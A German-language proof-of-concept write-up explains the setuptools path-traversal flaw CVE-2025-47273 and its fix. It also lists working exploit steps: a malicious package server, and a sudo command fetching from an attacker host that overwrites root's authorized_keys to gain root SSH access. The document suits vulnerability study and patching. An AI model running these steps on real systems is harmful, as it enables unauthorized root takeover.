
CVE-2025-47273 ist eine Pfad-Traversal-Schwachstelle mit hohem Schweregrad in der Bibliothek setuptools, insbesondere in Version 78.1.0.
Dieser Proof of Concept (PoC) dient ausschließlich Bildungszwecken und autorisierten Sicherheitsaudits. Der Autor übernimmt keine Verantwortung für Missbrauch dieser Informationen. Unautorisierter Zugriff auf Computersysteme ist illegal und unethisch.
CVE-2025-47273 ist eine Path-Traversal-Schwachstelle im Modul package_index der Bibliothek setuptools (v78.1.0 und früher). Die Schwachstelle ermöglicht es einem Angreifer, beliebige Dateien zu schreiben, indem er eine speziell gestaltete URL an die Methode PackageIndex.download() übergibt.
Die Schwachstelle beruht auf einer häufigen Fehlerquelle in Pythons Funktion os.path.join(). Laut der Python-Dokumentation:
Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Verbinden wird ab der absoluten Pfadkomponente fortgesetzt.
In der verwundbaren Version von setuptools wird der Ziel-Dateiname bestimmt, indem ein Name aus der URL extrahiert und mit einem temporären Verzeichnis verbunden wird:
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)
Wenn ein Angreifer eine URL bereitstellt, bei der der Dateinamenteil (nach der URL-Dekodierung) mit einem Schrägstrich / beginnt, verwirft os.path.join das Präfix tmpdir und gibt den in der URL angegebenen absoluten Pfad zurück.
[ Attacker-Controlled URL ]
http://attacker.local/%2fetc%2fpasswd
|
| 1. URL Decoding
v
[ Decoded Filename (name) ]
"/etc/passwd"
|
| 2. Vulnerable Function Call
v
os.path.join("/tmp/download_dir", "/etc/passwd")
|
| 3. Python os.path.join Logic
v
[ Resulting Path (filename) ]
"/etc/passwd" <-- /tmp/download_dir is discarded!
Da der Zielpfad zu einem absoluten Pfad manipuliert werden kann, kann ein Angreifer beliebige Inhalte an beliebige Stellen im Dateisystem schreiben, an denen der Prozess Schreibrechte besitzt.
setuptools verwendet, mit erhöhten Rechten läuft (z. B. ein systemweiter Installer), kann ein Angreifer kritische Systemdateien wie /etc/passwd, /root/.ssh/authorized_keys oder /etc/shadow und viele weitere Möglichkeiten überschreiben...~/.bashrc, ~/.ssh/authorized_keys oder das Injizieren von Code in vorhandene Python-Bibliotheken kann zu persistenter Remote Code Execution führen./root/.ssh/authorized_keys )Die Schwachstelle ist in Version 78.1.0 von setuptools vorhanden.
pip install setuptools==78.1.0
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
Das Skript server.py fungiert als bösartiger Paketindex. Es liefert unabhängig vom angeforderten Pfad eine Payload-Datei aus; die Datei, die wir ausliefern, ist id_rsa.pub.
python3 server.py 80
Lösen Sie das Dateischreiben mit diesem Befehl aus; danach können Sie sich mit Ihrem zuvor erstellten SSH-Schlüsselpaar als root per SSH anmelden.
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'
ssh -i id_rsa root@<target-ip>
Die Schwachstelle wurde in setuptools Version 78.1.1 behoben. Der Fix besteht darin, die aus der URL abgeleitete Variable name strikt zu bereinigen, um sicherzustellen, dass sie keine führenden Schrägstriche oder Laufwerksbuchstaben enthält, bevor sie an os.path.join() übergeben wird.
Um Ihre Umgebung abzusichern:
pip install --upgrade setuptools